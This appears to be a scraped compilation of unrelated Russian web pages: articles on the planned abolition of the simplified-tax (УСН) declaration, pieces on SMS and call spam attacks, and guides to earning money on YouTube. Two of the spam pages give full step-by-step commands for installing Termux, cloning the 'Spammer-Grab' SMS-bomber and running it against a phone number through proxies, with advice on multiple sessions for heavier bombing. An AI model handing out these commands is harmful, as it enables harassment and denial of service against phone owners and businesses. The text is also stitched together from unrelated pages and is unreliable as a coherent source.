Последние новости: ожидается, что перейти на новый режим УСН онлайн обычные упрощенцы смогут с 1 июля 2020 года.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

buhguru.com

ФНС объявила об отмене декларации по УСН

Налоговых деклараций для бизнеса скоро станет меньше. Это уже подтвердили Минфин и ФНС России, которые намерены упразднить обязанность налоговую декларацию по УСН. Правда не для всех налогоплательщиков. Некоторым из них придется отчитываться, как и прежде.

Что случилось?

Минфин России опубликовал Проект основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов, из которого, в том числе, следует намерение чиновников отменить для организаций и индивидуальных предпринимателей обязанность отчитываться по упрощенной системе налогообожения. Правда, такое послабление затронет, к сожалению, не всех налогоплательщиков УСН.

Кому отменят налоговую декларацию по УСН?

Позитивные изменения должны затронуть те организации и предпринимателей, которые одновременно:

  1. Применяют упрощенную систему налогообложения с объектом налогообложения «доходы».
  2. Используют онлайн-кассы на протяжении всего налогового периода.

В сообщении Минфина так и сказано:

Отмена обязанности представления налоговой декларации налогоплательщиками, применяющими УСН с объектом налогообложения в виде доходов и использующими контрольно-кассовую технику, обеспечивающую передачу фискальных данных в налоговые органы в режиме «он-лайн».

Дело в том, что ФНС России имеет возможность самостоятельно отслеживать все поступления денежных средств в кассу и на расчетный счет налогоплательщика. Значит, налоговики могут рассчитать налог, который должны оплатить такие налогоплательщики, и проверить, насколько правильно он был оплачен. В этом случае, по мнению чиновников, отчетность является избыточной мерой и в принципе не нужна.

Как будет происходить исчисление и уплата налога на УСН после отмены декларации? К сожалению, это до конца пока остается неясным. Скорее всего, как и сейчас, налогоплательщики будут самостоятельно исчислять и оплачивать авансовые платежи, а также налог за год. Инспекторы ФНС будут сверять перечисленные суммы с тем налогом, который исчислят на основе данных о поступлениях в кассу и на расчетный счет. В случае расхождения данных у налогоплательщика потребуют пояснений и оштрафуют, если он недоплатил.

Второй вариант состоит в том, что налоговики будут направлять в адрес налогоплательщиков требования с точной суммой налога к уплате. Тогда ее останется только оплатить. Правда, каким образом это будет возможно для ИП, которые имеют право уменьшать налог на УСН на сумму уплаченных страховых взносов за себя и за работников, пока остается не ясным.

Декларация УСН при объекте «доходы минус расходы»

Для налогоплательщиков, выбравших объектом налогообложения «доходы минус расходы», обязанность сдавать декларацию по УСН никто отменять не собирается. Дело в том, что даже если они используют онлайн-ККТ, им намного сложнее исчислять налог, поскольку они уменьшают доходы на расходы из утвержденного перечня. Налоговики не имеют данных о таких расходах налогоплательщика, поэтому без сдачи налоговой декларации в данном случае не обойтись. Поэтому таким налогоплательщикам придется и дальше ежегодно сдавать отчеты в ИФНС.

Когда отменят декларации по УСН

В Минфине отмечают, что для для отмены деклараций по УСН необходимо внести поправки в Налоговый кодекс РФ. Если даже законопроект будет принят Госдумой в ближайшее время, изменения смогут вступить в силу не раньше 2019 года. То есть за 2018 год налогоплательщики будут отчитываться в обычном режиме. А в первый раз не сдать отчетность налогоплательщики на УСН смогут только за 2019 год в 2020 году.

ppt.ru

Декларация по УСН будет отменена с 2019 года

Ранее президент РФ Владимир Путин ставил задачу Правительству рассмотреть вопрос об отмене декларации по УСН для тех организаций и индивидуальных предпринимателей, кто применяет упрощенную систему налогообложения. Данная мера направлена на сокращение ненужной нагрузки по сдаче лишней отчетности.

Кто не будет сдавать декларацию по УСН

Согласно внесенному на рассмотрение документу организации и ИП, которые ранее предоставляли в ФНС декларацию по УСН будут освобождены от данной отчетности. Однако это касается тех, кто применяется онлайн кассы, а они в основном применяются в розничной продаже.

Данная мера основывается на том, что онлайн кассы и так передают всю необходимую информацию в ФНС п операциям купли-продажи. На основании данной информации налоговики смогут сами осуществить начисление налога.

Затем инспектора либо будут выставлять требование об уплате налога, либо списание будет производиться автоматически с расчетного счета хозяйствующего субъекта. Означает, что это будет проще? Вероятно да, но скорее всего в переходный период возникнет не мало вопросов.

Внимание! Очевидно, что те кто не применяет онлайн кассы, например, если ООО или ИП работают только по расчетному счету – декларации будут сдавать как и прежде. Либо в дальнейшем контроль по операциям по банку будет полностью передан ФНС.

В какие сроки отменят сдачу декларации

Согласно паспорта проекта пакет поправок должен быть рассмотрен Правительством 17 сентября, а вступить в действие данная мера должна до 20 декабря 2019 года. Т.е. получается, что пока отчетность за 2018 год будет сдаваться в обычном режиме.

Изменения в работе ККМ в связи с нововведениями

Для того, чтобы налоговики смогли рассчитать налог по УСН с 1 января, согласно приказа ФНС № ММВ-7-20/207@ от 09.04.2018 зарегистрированного 25 июля в Минюсте, вводятся новые правила работы с ККТ. С нового года упрощенцы должны будут изменить реквизиты чеков и пробивать их на все операции, которые прописаны в НК.

Внимание! В настоящее время не обязательно бить чеки на операции по расходам на дивиденды, взносам, штрафам и пени от покупателей, безвозмездным поступлениям, пособиям и т.д. Получается, что с одной стороны убрали одну годовую отчетность, а прибавят лишней работы кассирам.

buhproffi.ru

И снова про возможную отмену декларации по УСН «доходы» в 2019 году

Добрый день, уважаемые ИП!

Еще в марте этого года писал, что, возможно, отменят налоговую декларацию для ИП на УСН “доходы”. Но только если ИП применяет онлайн-кассу.  Вот эта статья:

Внезапно: похоже, что отменят декларацию по УСН с 2019 года. Но только если используете онлайн-кассу.

История получила продолжение в документе МинФина под названием “Проект основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов”

https://www.minfin.ru/ru/document/?id_4=123006

А в нем, среди прочих инициатив, написано буквально следующее:

Отмена обязанности представления налоговой декларации налогоплательщиками, применяющими УСН с объектом налогообложения в виде доходов и использующими контрольно-кассовую технику, обеспечивающую передачу фискальных данных в налоговые органы в режиме «он-лайн».

То есть, ждем скорую отмену налоговой декларации по УСН “доходы”, но только для тех, кто применяет онлайн-кассы. Только вот непонятно, что делать тем ИП, которые начали применять кассы с 1 июля 2018 года? Ведь данные в ФНС в этом случае будут передаваться только полгода.

Похоже, сделают освобождение только для тех ИП, которые применяли онлайн-кассы полный 2018 год (или с начала деятельности ИП, или сразу после регистрации в качестве ИП).

Подчеркну, что это проект, а не закон. Следите за новостями блога, я мониторю эту тему.

Советую прочитать:

  1. Что случится с онлайн-кассой, если её не использовать 30 дней?
  2. Первые новости про МРОТ на 2019 год
  3. Какие онлайн-кассы будут сниматься с учета в ФНС с 1 января 2019 года в одностороннем порядке?

Уважаемые читатели!

Готово подробное пошаговое руководство по открытию ИП в 2019 году. Эта электронная книга предназначена прежде всего для новичков, которые хотят открыть ИП и работать на себя.

Она так и называется:

«Как открыть ИП в 2019 году? Пошаговая Инструкция для начинающих»

Из этой инструкции Вы узнаете:

  1. Как правильно оформить документы на открытие ИП?
  2. Выбираем коды ОКВЭД для ИП
  3. Выбираем систему налогообложения для ИП (краткий обзор)
  4. Отвечу на множество сопутствующих вопросов
  5. Какие органы надзора нужно уведомить после открытия ИП?
  6. Все примеры приведены на 2019 год
  7. И многое другое!

Об авторе
Дмитрий Робионек

Я создал этот сайт для всех, кто хочет открыть свое дело в качестве ИП, но не знает с чего начать. И постараюсь рассказать о сложных вещах максимально простым и понятным языком.

dmitry-robionek.ru

Спам атака на телефон бесплатно – sms’MoBomber 5.6 (Спам сообщениями на телефон)

Спам-атаки на смартфон — MTT http://blog.mtt.ru/Blog

Спам-атака – что собой представляет

Смс и DDOS атаки широко применяется злоумышленниками для блокировки работы предприятий, доставку неудобств частным лицам и нанесения морального ущерба. Спам-атака на мобильное устройство – постоянные звонки или сообщения, которые приходят к вам на телефон. Как это работает? Представьте, что у вас зазвонил телефон. Вы берёте трубку и вызов сразу сбрасывается или включается какая-то запись. Через пару секунд звонок повторяется, как и вся последовательность действий. И так может быть постоянно. Подобные атаки могут проводится не только на устройства мобильной связи, но и на скайп, IP-телефонию и др.

Постоянный поток сообщений может нести в себе рекламу, новости, призыв к действию или содержать ссылки на вирусы. Многие люди путают смс-атаки и подписку, на которою сами согласились. Если вы дали разрешение какой-то компании оповещать вас об акциях и новинках, то есть риск получения большого количества сообщений. Некоторые предприятия могут переборщить с рассылкой. В таком случае вы можете отказаться от подписки, в отличии от настоящего спама.

Что являет собой СМС-атака?

Спам сообщений – непрерывный поток SMS с бессмысленным содержанием, угрозами, рекламным содержанием или вирусами. Вы будете получать их с различных телефонным номеров. Отличительной особенностью атаки является формат контактов, с которых идёт рассылка. Они могут начинаться с +6. Вред такой атаки заключается в том, что сообщения приходят быстрее, чем вы сможете очищать от них память устройства. Иногда единственным выходом является выключение телефона или смена номера.

Механизм реализации SMS-атаки

Возможность реализовать злонамеренные действия появилась по причине слабой защиты смс-шлюзов, которые используются для обмена сообщениями владельцы смартфонов. Вы могли встречать примеры работы шлюзов на примере сайтов, позволяющих отправлять бесплатно короткие сообщения с использованием виртуального номера.

Шлюзы иногда используют в коммерческих целях. К ним подключают специальный софт для массовых отправок SMS. Подобные приложения позволят:

  • организовать обратную связь с коллегами или партнёрами;
  • быстро сообщить важную информацию своим сотрудникам, в том числе и удалённым;
  • проинформировать клиентов о новинках, скидках и акциях.

Интерфейс шлюзов довольно прост и этим пользуются злоумышленники. При этом спам приходит и на линии IP-телефонии. Спамеру достаточно создать учётную запись и он может отправлять бесчисленное количество SMS. Такой метод вреда пользователям имеет сравнительно низкую стоимость и высокую эффективность.

DDOS-атаки на смартфон

Данный тип вредоносной активности появился сравнительно недавно. Ранее от подобного страдали специалисты по обслуживания серверов, так как огромный поток данных мог «положить» сервер и сбить все настройки.

Принцип дос нападений на гаджет остаётся таким же как и на сервер. При этом опасности подвергаются пользовательские данные, настройки и прочая конфиденциальная информация. Если DDOS нападение будет успешным, то злоумышленники могут получить доступ к вашим страницам в социальных сетях, к платёжным средствам, e-mail и др.

Каждый может стать мишеней для злоумышленников и для этого достаточно начать посещать сайты с сомнительным содержанием. Важно помнить, что смартфон имеет куда меньшую защиту, чем персональный компьютер.

Как противодействовать хакерам?

Что нужно делать, если вы подверглись атаке?

  • зафиксировать номер или список номеров, которые совершают злонамеренную активность;
  • отключить свой девайс;
  • связаться с кол-центром оператора мобильной связи и сообщить о случившемся;
  • если действия мошенников причинили вам вред, то незамедлительно обращайтесь в полицию.

Самое страшное, что может случится после обращения к оператору, так это временная блокировка контакта. Проще решить проблему тем, кто активно использует IP-телефонию. Можно просто заблокировать спамеров, которые атакуют вас. С решением проблем после дос атак дело обстоит сложнее, но тоже решаемо. При наличии специальных знаний, вы сможете без проблем устранить последствия нападения. Если вы не знаете, как это сделать, то сможете обратиться к оператору и указать свой виртуальный номер.

Как бороться со спамом?

  • Пытайтесь не оставлять свой номер на сайтах и нигде не публиковать.
  • Можете завести отдельный виртуальный номер, который будет «светиться» в интернете.
  • Регистрируйтесь с указанием реального телефона только на надёжных ресурсах.

blog.mtt.ru

Спам атака на телефон – SEO Блог 2019

Для того, чтобы ухудшить доступность телекоммуникационных сервисов, существует DDos атака на мобильный телефон. При такой атаке становится невозможным дозвон на конкретный номер телефона.

Такие атаки применяются конкурентами фирмы, для того, чтобы ухудшить их связь с клиентом.

DDos осуществляется на номера, которые указаны на сайте или в рекламном буклете фирмы, как контактные. Поэтому многие фирмы отказываются от использования мобильного номера в качестве контактного. Ибо на стационарный телефон такую атаку осуществить гораздо сложнее.

Мобильные номера имеют лимит входящих звонков. Поэтому, чтобы парализовать компанию, конкурентам достаточно заказать атаку с использованием 10-ти канального транка.

Наиболее часто DDos-атаке поддаются предприятия, которые оказывают услуги по: мойке машин, продаже товаров через интернет-магазин, служба такси и т.п. То есть, все те виды деятельности, в которых очень важно взаимодействие клиента по телефону.

Содержание статьи:

Сценарии проведения ДДос атаки

Существует несколько разновидностей, по которым может происходить атака.

  • После снятия телефонной трубки, жертва атаки слышит аудиозапись, которая побуждает к различным действиям (оплата кредита, перевод денег на счет вымогателя и др.).
  • После ответа на звонок флуд-бот сбрасывает вызов.
  • После ответа в трубке ничего не происходит до тех пор, пока жертва атаки сама не прервет “разговор”.

Конечно же никто самостоятельно не сидит сутками над телефоном и не делает звонки. Работа происходит через облачную телефонию. Это также обеспечивает анонимность флуда. За что платит заказчик? За аренду необходимого оборудования.

Сделать атаку хакеры могут запросто, а вот прекратить ее с помощью привлечения других хакеров – никто не может. Поэтому есть легальные переговорщики.

Проблема заключается в том, что и защиты от атаки не существует. Есть основные правила, но они не дают 100 процентную гарантию защиты.

Правила

Рекомендуется в качестве контактного телефона использовать номер не мобильный, а прямой многоканальный 499 или 495, у которого нет абонентской платы. Также стало популярно использование голосового приветствия, после которого звонящему нужно нажать нужную цифру для соединения с каким-либо отделом.

Если вы решили обратиться к хакерам

Если вы решили, что хакеры помогут вам избавиться от многих проблем и от конкурентов, то вам стоит задуматься. Ведь сейчас есть компании, которые могут решить множество проблем, не прибегая к запрещенным методам.
К тому же, нет гарантии того, что вы останитесь анонимным. Ведь хакеры любят перепродавать имена заказчиков.

Компания Топодин поможет разрешить все вопросы честными способами.

Смотрите так же на нашем сайте:

Создание прототипа в Axure RP

topodin.xyz

Бомбим чужие мобильники. Простой SMS BOMBER

Отпишитесь кто шарит в этом. норм или нет?
Привет. Сейчас будем делать простой но эффективный смс-бомбер. Кому-то может показаться сложным, но на самом деле всё очень просто и бесплатно.
Что нам понадобится:
1. Телефон (Android)
2. Программа Termux (эмулятор линукс)
3. Интернет на телефоне ( Лучше WiFi )
И так приступим, первым делом берём в свою правую или левую мощную руку телефон, заходим в Google Play и забиваем в поиск «Termux «, качаем и устанавливаем.
Далее заходим в программу » Termux «
И пишем туда как пишу я, все слова с новой строчки. Да, всё вводим руками, не ленимся.
(если требует соглашение то вводим в строку «Y» без кавычек и жмем ввод)

Вводим каждую строку отдельно:
Clear
pkg update
pkg install git
pkg install python
pkg install python2
pip2 install requests
git clone https://github.com/p4kl0nc4t/Spammer-Grab
ls
chmod +x Spammer-Grab
ls
cd Spammer-Grab
ls
chmod 777 spammer.py

Всё готово, осталось только запустить наш бомбер этой командой:
python2 spammer.py —delay (пишем время задержки в сек, без скобок) —proxy (сюда пишем ссылку на прокси) и номер без +

Например:
python2 spammer.py —delay 5 —proxy http://177.35.25.32/ 7945314261234
Можно обойтись и без прокси, но тогда толку будет не особо много. Так что советую их использовать.
Есть бесплатные прокси, например https://awmproxy.com/freeproxy.php
Получаете ссылку оттуда и вставляете в Termux
Можете использовать платные прокси, тогда бомбежка будет просто адской.
И так у нас всё готово.
Чтобы остановить бомбёжку можно просто выйти из приложения.
Если захотите запустить несколько атак:
Делаете свайп в право и нажимаете New session.
Вводим:
cd Spammer-Grab
python2 spammer.py и сюда снова все параметры
Если закрыли Termux и хотим снова запустить бомбер делаем тоже самое:
cd Spammer-Grab
python2 spammer.py и сюда снова все параметры
В конце добавлю, на эмуляторах аднройда работать не будет, только на мобилах или Kali Linux.

 

miped.ru

SMS Bomber и его аналоги, история про смс спам бессмысленный, беспощадный и креативный

Смс спам появился еще на заре Рунета, с начала 2000-х на постсоветском пространстве наблюдался активный рост абонентской базы телекомуникационных компаний. Разумеется одними из первых успели почувствовать на себе все прелести спама, владельцы пейджеров и сотовых телефонов. С тех пор прошло более 10 лет, развитие виртуальных сетей и фильтров систем автоматического скоринга, позволили операторам снизить риски от сомнительной рекламы. Но не все так просто, смс спам все ещё жив.

Сомнительные объявления в соц.сетях и на досках предлагают услугу когда определенный номер забрасывают смсками или переодическими вызовами, блокируя возможность для его владельца принимать звонки и входящие сообщения. В образовательных целях мы рассмотрим некогда популярный и простой софт SMS Bomber которым любят пользоваться простые обыватели и по сей день. А также разберем аналог в виде скрипта написанного на Python.

Цель статьи показать как выглядят действия обычных спамеров на практике. Здесь специально не будет про углубленную автоматизацию и другие моменты. Статья не нарушает норм и требований действующего законодательства, не призывает и не рассказывает о том как делать массовый смс спам. Наша цель ответить на вопросы, а работает ли популярный и бесплатный софт для смс спама и провести свое независимое иследование.

SMS Bomber жив ?

Судя по статистике поисковых запросов,  смс  бомбер продолжает пользоваться популярностью. Но позволит ли он достичь цели спамерам?

Начав поиски работающего дистрибутива, я проверил около 40 доступных публично источников, версии были самыми разными от 2 до 5. В ~70% при проверке на virustotal выдавали вшитые трояны и прочую нечисть.

Тем не менее была найдена одна из последних стабильных рабочих версий, при проверке на все доступные на момент написания статьи сигнатуры, она оказалась чистой! Скачать этот архив SMS Bomber можно по ссылке.

Далее мы попробовали отправить смс на несколько своих контрольных номеров у 4 операторов — Мегафон, МТС, Билайн и Теле2. Результаты печалят.

В результате из 8 способов отправки у всех четырех номеров работал только 1 способ. Теле2 и Билайн сразу же срезали подозрительный трафик и поток сообщений остановился через 1,5 минуты.

У Мегафона и МТС это произошло немного позже. Прокси на каждый номер был свой. Настроить прокси через интерфейс самого бомбера невозможно, пришлось настраивать через командную строку. В целом если настроить работу для нескольких одновременно открытых окон и подобрать интервал этот софт по прежнему способен доставлять смс, однако ему далеко до платных аналогов и даже до скрипта о котором пойдет речь далее.

Альтернатива SMS Bomber на Android или Linux

Наш эксперимент выше показал, что несмотря на то, что за последние годы каналы доставки отвалились и работает только 1 из 8 (возможно потому, что разработчик не поддерживает более софт), бесплатный бомбер для Windows все ещё работает. Он неудобный, не имеет встроенных настроек прокси, текста сообщения, опытные спамеры его явно не используют. Сегодня это больше игрушка и баловство.

Cовременные спамеры и прочие нарушители рекламного спокойствия используют приватные скрипты, как правило они пишутся под планшеты или телефоны под управлением Android, иногда используют также ПК с Linux. Разберем один из похожих вариантов, публично доступных на гитхабе.

Шаг 1. Устанавливается эмулятор Termux.

Для стабильной работы Android должен быть версии выше 4.4 Для Linux понятное дело всё проще, там дальнейшие действия делаются из консоли.

Шаг 2. Покупаются или берутся бесплатные прокси.

Бесплатные будут быстро отваливаться, впрочем покупные тоже через некоторое время улетят в бан, у большинства селеров продающих приватные прокси есть свои системы контроля трафика, при первой подозрительной активности, админы блокируют доступ, но профессиональные злоумышленники просто поднимут свой пул адресов для этих целей.

Шаг 3. Настройка и установка необходимых пакетов.

В командной строке Termux вводятся команды для добавления пакетов и клонирования репозитория с скриптом Spammer-Grab.

Каждая команда отдельно с новой строки:

Clear
pkg update
pkg install git
pkg install python
pkg install python2
pip2 install requests
git clone https://github.com/p4kl0nc4t/Spammer-Grab
ls
chmod +x Spammer-Grab
ls
cd Spammer-Grab
ls
chmod 777 spammer.py

На вопросы «Do you want to continue?» отвечаем Y, через некоторое время все необходимые скрипты и пакеты будут установлены, заданы права и тд.

Шаг 4. Запуск скрипта.

Для запуска этого Android бомбера необходимо выполнить команду в таком формате:

python2 spammer.py —delay x —proxy http://xxx.xx.xx.xx/ 79xxxxxxxxx

Где —delay x — задержка в секундах, —proxy — ваш прокси, далее пробел и номер телефона без +

Если все сделано верно, скрипт начнет работу. Что бы завершить скрипт и отключить спамер, можно просто выйти из приложения.

Что бы снова включить, открываем Termux и вводим:

cd Spammer-Grab

и далее опять

python2 spammer.py —delay x —proxy http://xxx.xx.xx.xx/(ваш прокси) 79xxxxxxxxx(ваш номер)

Для работы в несколько потоков одновременно, в терминале свайп в право и New session, далее всё теже 2 команды выше.

Протестированные нами 4 номера имели примерно одинаковую динамику, даже с минимальной задержкой, а многопоточность и простая работа с терминалом и прокси, а значит и простая возможность автоматизации, через отдельный консольный скрипт, например по таймеру, делают этот способ более эффективным.

Однако если кто то сейчас думает, что это всё нужно запретить и выпилить все ссылки, то да мы тоже не любим спам, но помним про эффект Стрейзанд. Но это не главное. Главное, что есть и еще более забавный способ который практически не требует расходов на прокси и навыков автоматизации. И запретить его не возможно…

Bomber VS Креативное хулиганство

Когда-то мой знакомый работал в одной конторе, директор которой был очень сложным человеком и имел кучу врагов, и он на практике убедился, что атака на телефоны компаний может происходить и более креативным образом чем банальные скрипты. Расскажу эту историю, что бы было понятно о чем идет речь.

Дело в том, что какие-то конкуренты, каждый день распространяли через паблики и бесплатные доски объявлений, а также некоторые специфические форумы и сайты типа «Отдам даром», «Помощь и благотворительность», «Барахолка», «Продажа телефонов и тд.» сообщения которые имели определенную логику.

Сообщалось, что кто-то продает вещи по цене ниже рынка, с расчетом на то, что аудиторию этих пабликов и сайтов заинтересует товар и они будут постоянно названивать.

Разумеется номера в этих объявлениях, заботливые конкуренты указывали не свои, соответственно работа отдела продаж хаотично останавливалась, менеджеры постоянно отвечали, что никакие кроссовки и айфоны за пол цены никто не продаёт. Продолжалось это несколько месяцев, потом директор или договорился или как-то иначе решил этот вопрос.

Суть заключается в том, что от такой спам-атаки защититься ещё сложнее по скольку простые блокировки по номерам\ip\патернам набора\сообщений не работают эффективно, ведь звонить могут откуда угодно и спрашивать что угодно, причем это будут люди которые и не подозревают что происходит на самом деле и что своими звонками они мешают работе других людей.

Мы рассмотрели самые популярные способы и софт, если вы столкнулись с интересным случаем телефонного спама, расскажите в комментариях свою историю, а мы поделимся ей с нашими читателями и подписчиками. В одной из следующих статей мы разберёмся как защититься от смс спама и протестируем популярный софт для фильтрации подозрительных номеров.

Загрузка…

tehset.ru

Заработки на ютубе – Как заработать деньги на YouTube

Как заработать на YouTube – шпаргалка для начинающих

Знаменитый видеохостинг YouTube принадлежит компании Google, создан в 15 февраля 2005 года, а по итогам 2013 имеет более одного миллиарда активных пользователей. Успех настолько велик, что всё больше людей в последнее время начинают заниматься созданием собственных видеороликов и блогов в видео формате.

Для одних это является просто увлечением, а для других — способом заработка, ведь помимо развлекательных нужд, YouTube может удовлетворять ещё и финансовые.

Заработок на YouTube

Возникает закономерный вопрос: как заработать на YouTube? Ответ довольно банален — вездесущая, всеми нелюбимая реклама. Если вы пользовались данным сервисом хотя бы раз, то наверняка начинали просмотр видео с 15-секундного рекламного ролика и сталкивались с «выплывающей» рекламой.

Именно размещение сторонней рекламы и позволяет авторам видео получать прибыль. Возникает ещё один логичный вопрос: сколько можно заработать на YouTube таким способом? Средний заработок составляет от 5$ до 20$ за одну тысячу просмотров видеоролика, однако точную цифру определить довольно затруднительно.

Естественно, чем больше вы загрузите роликов на свой канал и чем больше людей их увидят, тем больше денег вы заработаете.

Для того чтобы начать получать деньги со своего видео, необходимо выполнить несколько действий:

  1. Зарегистрироваться на сервисе YouTube. Регистрация совершенно бесплатна, поэтому с этим трудностей возникнуть не может;
  2. Съёмка авторских видеороликов — самый сложный и важный шаг. Заработок предполагает большое количество подписчиков, просмотров, положительных или отрицательных оценок. Видеоматериал должен быть интересным и оригинальным. Разрешается выкладывать только собственное видео или тех людей, которые предоставляют на это разрешение. Съёмку производить можно на фотоаппарат, видеокамеру или экран монитора, рассказывая и показывая что-либо. Качество изображения и звука должно быть на высоком уровне, не содержать помех и шумов, независимо от того, какой формат вашего видео блога;
  3. Монетизация вашего аккаунта на YouTube. Без принятия определённых мер заработать на видеохостинге YouTube будет невозможно. Без большого количества подписчиков и просмотров нельзя вступить в специальную партнёрскую программу, однако это и не обязательно. Для того чтобы монетизировать свой канал на YouTube требуется зайти в настройки раздела «Менеджер видео» и включить параметр монетизации. Если в вашей стране этот параметр недоступен, необходимо изменить страну проживания на США.

    Для монетизации необходимо:

    • Пройти бесплатную регистрацию в рекламной сети Google AdSense, которая и будет заниматься размещением рекламы в видеороликах, и выплачивать вознаграждение за определенное количество просмотров;
    • Соответствие возрастным ограничениям: если вам менее 18 лет, потребуется согласие родителей.
  4. Регулярная и систематическая съёмка видеороликов. Снимая и публикуя на начальном этапе 1-2 раза в неделю, уже можно привлечь на свой канал тысячи подписчиков. Канал, на котором новые ролики появляются с периодичностью 1 раз в год, не представляет интереса для людей и это необходимо учитывать. Весь выкладываемый материал необходимо оптимизировать для ключевых запросов, ознакомиться с которыми можно в сервисе Яндекс.Вордстат. Именно по ключевым запросам поисковая система выставляет позиции вашего ролика.
  5. Без соблюдения этих основных правил заработать на ютубе не получится.

Сколько можно заработать с помощью YouTube?

Миллиардная аудитория приносит создателям YouTube многомиллионные доходы. Однако сколько же можно заработать на просмотре авторских роликов? Сайт YouTube выплачивает авторам роликов 50% (0или даже больше) от дохода с рекламы.

Например, если из 10000 просмотревших видео 10 человек перешли по рекламной ссылке, клик по которой стоит 0.6$, общий доход — 6$. 3$ забирает себе сайт, а 3$ отдаёт вам. Таким образом, за 100000 просмотров можно получить 330$, а за миллион — 3300$.

Однако, далеко не каждый клик стоит 0.6$: минимальная ставка — 0.01$, а максимальная не ограничена. Если же вы желаете получать более 75% дохода от рекламы, необходимо вступить в специальную партнёрскую программу.

Конечно, наиболее высокий доход получают создатели роликов с миллионами просмотров. В среднем он составляет около 500-1000$ всего лишь с одного видео.

Таких пользователей, доход которых стремится к миллионам долларов, на сайте уже довольно много. Ярким примером является небезызвестный Ray William Johnson, имеющий на момент написания статьи 10 684 442 подписчика.


Благодаря видеороликам развлекательного характера, суммарное количество просмотров канала Ray William Johnson составляет 2 625 166 374.


Имея 854 ролика на канале, каждую неделю добавляется ещё 1-2. Приблизительный заработок канала за всё время существования составляет 0.6$ x 2 625 166 374 : 1000 = 1 575 099$, ежемесячный доход — 262516$. Таким образом, спустя 6 лет активности в YouTube автор канала является миллионером, занимаясь любимым делом.

Помимо огромного дохода, есть и несколько дополнительных плюсов: во-первых, выкладывание роликов Ray William Johnson — дополнительный пиар его комедийного таланта, во-вторых — пассивность получаемого дохода. Ролики собирают всё большее количество просмотров, принося каналу новых абонентов без особого вмешательства автора.

Важнейшим плюсом заработка на YouTube является то, что бизнес, начавшийся с интересной новаторской идеи, может развиваться и приносить немалый доход без вашего постоянного вмешательства.

Наибольший спрос имеют ролики развлекательного характера, однако это не является обязательным условием популярности. Для любой тематики найдется своя аудитория: популярные «летсплеи», видеообзоры, инструкции, обучающие видеозаписи и т. д.

Ориентируясь на тенденции сайта YouTube, а также проанализировав свои идеи и возможности, любой пользователь может совершенно бесплатно создать успешный видеоканал.

Вполне возможно, что через несколько лет вы тоже будете обладать миллионами подписчиков и зарабатывать миллионы, но начать стоит уже сейчас. Желаем успехов!

www.internet-technologies.ru

Как заработать в Ютубе на своих видео | Интернет

Любите снимать видео, и, возможно, задумываетесь о том, как заработать на Ютубе на своем канале? Тогда обратите внимание на один из популярнейших в мире видеохостингов – YouTube.

Размещенное на нем видео способно приносить реальный доход. 

Правда, для получения действительно ощутимой прибыли придется приложить определенные усилия.

С января 2018 года действуют новые правила монетизации Youtube, которые опубликованы на официальном сайте. Ниже приведена цитата из этих правил:

Теперь для участия в программе у канала должно быть 4 000 часов просмотра за последние 12 месяцев и 1 000 подписчиков.

20 февраля 2018 года новые требования также вступят в силу для уже существующих каналов YouTube. Таким образом, льготные правила будут действовать в течение месяца. Однако по истечении этого времени владельцы каналов, у которых менее 4 000 часов просмотра или 1 000 подписчиков, больше не смогут получать доход от своих видео. Когда количество подписчиков и часов просмотра на канале достигнет порогового минимума, заявка на участие в партнерской программе будет подана автоматически и рассмотрена с учетом строгих норм.

Содержание:

Какие именно усилия потребуются для получения дохода с Ютуба?

От чего зависит прибыль на Ютубе

Не стоит сразу бросаться снимать видео, надеясь покорить Ютуб количеством снятых материалов. Очень важно подумать и о качестве. Так, прежде всего, следует понять, какие именно факторы влияют на размер дохода.

Вот некоторые из них:

1) Тема

В принципе, видео может быть любой темы. Главное – оно должно быть интересным и/или полезным. То есть, ролик должен суметь привлечь к себе максимальное внимание пользователей.

2) Раскрутка

Даже самый интересный ролик может так и остаться «в тени», если канал на Youtube не раскручен. Поэтому совсем не лишним будет заняться его рекламой, оставляя ссылки на тематических форумах или в соцсетях. Также эффективным является сотрудничество с другими каналами на Ютубе.

3) Используемый на канале язык

Замечено, что контент, записанный на английском языке, способен привлечь больше пользователей. Это связано с тем, что англоязычных пользователей Интернета гораздо больше, чем русскоязычных.

4) Количество роликов

Очевидно, что чем больше на канале будет роликов, тем большую прибыль можно будет получить. Количество интересных роликов влияет на качество канала.

5) Монетизация

Есть несколько вариантов получения дохода с видео. По возможности лучше использовать их все, ниже речь пойдет об одном из таких вариантов.

На пути к заработку

Теперь пришло время рассмотреть необходимые предварительные этапы, которые придется пройти перед тем, как заработать на Ютубе на своем канале.

1. Создание канала

Все ролики в YouTube пользователь размещает на своем персональном канале. Поэтому следует позаботиться о создании своего канала и о его красивом, грамотном оформлении. Благо, Ютюб предоставляет массу возможностей для этого. Если же Вы планируете пойти дальше «любительского» уровня, можно нанять профессиональных оформителей.

Но на начальном этапе, для «пробы пера» вполне подойдет любительский уровень своего канала просто для того, чтобы понять, нравится ли Вам заниматься видео, и не забросите ли Вы это при первой же возникшей трудности.

2. Выбор темы

Здесь главное – найти компромисс. Например, рекламные ролики приносят больше денег, но пользуются меньшей популярностью. А смешные любительские «зарисовки» очень нравятся пользователям, но «стоят» дешевле. Пытаясь найти «золотую середину», некоторые пользователи снимают, например, обзор технических новинок, преподнося его в игровой шуточной форме. Но, опять же, важно хорошо разбираться в теме, которую хочется преподнести зрителям.

3. Создание видео

Создавать ролики можно

  • при помощи камеры,
  • либо просто «фотографируя» изображение монитора.

Для второго способа есть специальные программы, например, Camtasia Studio Studio — программа для записи видео с экрана компьютера (или ноутбука). Нужно будет освоить работу с подобной программой, чтобы записывать видеоуроки. Тогда можно создать, например, руководство по работе в каком-либо сервисе или программе.

Пример ролика, записанного с помощью программы Camtasia Studio:

Если же Вы планируете снимать видео самостоятельно (с помощью камеры), обязательно обратите внимание на задний фон, освещение и оформление.

По окончанию записи проверьте качестве голоса и самого видео. С помощью специальной программы удалите из него неудачные кадры.

И только когда будете на 100 % довольны своей работой, выкладывайте ролик на Youtube. В общем, работы предстоит много.

4. Продвижение

Самый простой и эффективный способ – продвижение своих видео по ключевым запросам. Напомню, что ключевым запросом (ключом) видео является тот запрос, который пользователь вводит в поисковую строку Ютуба.

Ютуб ищет видео по указанному ключу. Затем сверху размещается реклама (1 на рис. 1), а после нее выдаются видео по запросу пользователя (2 на рис. 1):

Рис. 1 Запрос пользователя в поисковой строке на youtube и поисковая выдача, выданная по этому запросу

